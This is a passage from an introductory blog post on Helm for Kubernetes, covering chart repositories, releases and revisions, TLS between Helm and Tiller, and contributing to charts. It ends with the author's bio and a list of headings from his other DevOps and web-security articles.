When you helm install stable/redis by default helm reaches out to the Helm/Charts repo on GitHub, searching under the stable tree.

Visit this repo, and you’ll also find the incubator subdirectory where you can get and install incubated Charts that have not yet been tagged as production-ready (Stable). This does not mean you can’t use them; try introducing them in a development cluster and use them. The Helm community manages strict sem-ver guidelines for versioning, and even the smallest change creates a new Chart release. You can be confident that if a specific version of a remote Chart is working in one way, it will never break on you out of the blue.

An excellent example of using a different repo is Elastic’s ElasticSearch Chart, which used to be maintained by the company in the Helm/Charts repo.

Elastic had decided to move their product to their Helm repo, and to get the latest official Chart you can now add their repo to Helm by:
helm repo add elastic https://helm.elastic.co
followed by:
helm install --name elasticsearch elastic/elasticsearch

Helm concepts | Release

Think of a release as a mechanism to track installed applications on a K8S cluster; when an application is installed by Helm, a release is being created. You can create different installations of a product, e.g., Redis and have two different releases created and tracked in the cluster.

Releases can be tracked with helm ls, each would have a “revision” which is the Helm release versioning terminology; if a specific release is updated, e.g., adding more memory to the Redis release, the revision would be incremented. Helm allows rolling back to a particular revision, making it virtually the manager for deployments and production status handler.

TLS

Tiller and Helm need a way to communicate. By default, this connection is not very secure, which means that if one of the endpoints is compromised or accessible to a compromised component, traffic can be read and analyzed. Beyond discussing the actual attack surface of not securing communication between systems, we can easily create a secure TLS connection using an auto-generated certificate. In order to do that here’s a script that takes you through the process and can be implemented anywhere.

Contributions

You may find yourself (like I have) running into a new requirement for ability or feature from an official chart under github.com/helm/charts, it may very well be a bug (not so unlikely with incubator charts). Since Helm and its charts are both open source projects with hundreds of contributors, they are intensely active. Make changes to the desired chart and open a PR with the contribution, if all requirements have been made and taken care of, the team will approve the change in a matter of days.

While the process is quite demanding (and we should be thankful that’s so), changes are being reviewed and approved or disapproved quickly. Read more about contributing to the project; note that if you’re only making small changes most of the document is not relevant as it outlines requirements for new charts.

That’s it.

I hope that by now you understand Helm and why it is such a powerful system. As this is just an introduction, to learn and “feel” it, there’s no going around intense work with it; deploying 3rd party products and building your charts.

My name is Omer, and I am an engineer at ProdOps — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the Devops culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter @omergsr. Clap if you liked it, it helps me focus my future writings.

DEV Community: Omer Hamerman

The DevOps Manifesto

Document everything

Ask questions / always open a discussion

Think lean, speed and quality

Think Security

Networking structure

Everything as code

Backup everything!

Build to last, self-heal, and think of future maintainers

Change management and reviews for everything

Staging first

Aftermath

10 Things I wish I’d known before building a Kubernetes CRD controller

Controllers? Operators? CRDs?

Kubernetes is a Database

Start with Kubebuilder, read the book!

CRDs don’t create metadata by default

Interacting with CRDs outside the controller’s context is not straight forward

Discovery number one: "The dynamic client"

Discovery number two: "The DefaultUnstructuredConverter"

Use Finalizers to terminate external resources

Set Owner Reference on tracked objects

Get your groups and crd name right

Introduction to AWS Lambda and Serverless

The benefits and drawbacks of Serverless functions

Pros:

Cons:

What is it

Under the hood

Let’s try to answer a few of these questions to make architectural decisions:

A deeper look into networking

A recent improvement to this network scheme

Dealing with cold starts

Serverless isn't always the best solution

Serverless does not make "DevOps redundant"

Thank you for reading

Further reading material and references:

Introduction to Zero Trust on AWS ECS Fargate

What

Why

Security

Ease of access

Ease of management

The How

The Proxy

The Authenticator

OAuth2 Provider of choice - Google

Upstreams

Deployment

ECS and Service Discovery

Alternatives

Extending the power of Zero Trust

How to NOT secure web payment systems

Once upon a time

Moral of the story

Ways to handle and general approaches

Hacking your application may be easier than you think

How it all started

Reporting

Why it matters!

Testing yourself for vulnerabilities

How hackers steal your keys and secrets

So, what do hackers do and use to find passwords and application secrets?

They find them in your JavaScript files

They take a look back at the Wayback machine

The way WaybackMachine is not only good for finding keys

They use GitHub

Why does it happen?

Dorks 101

Mitigation

They use Google

They get to know your system

Wrapping it up

Protect your application from CSRF attacks

What is it

Why it's important to know

Mitigations

Let's get technical

Security level: Low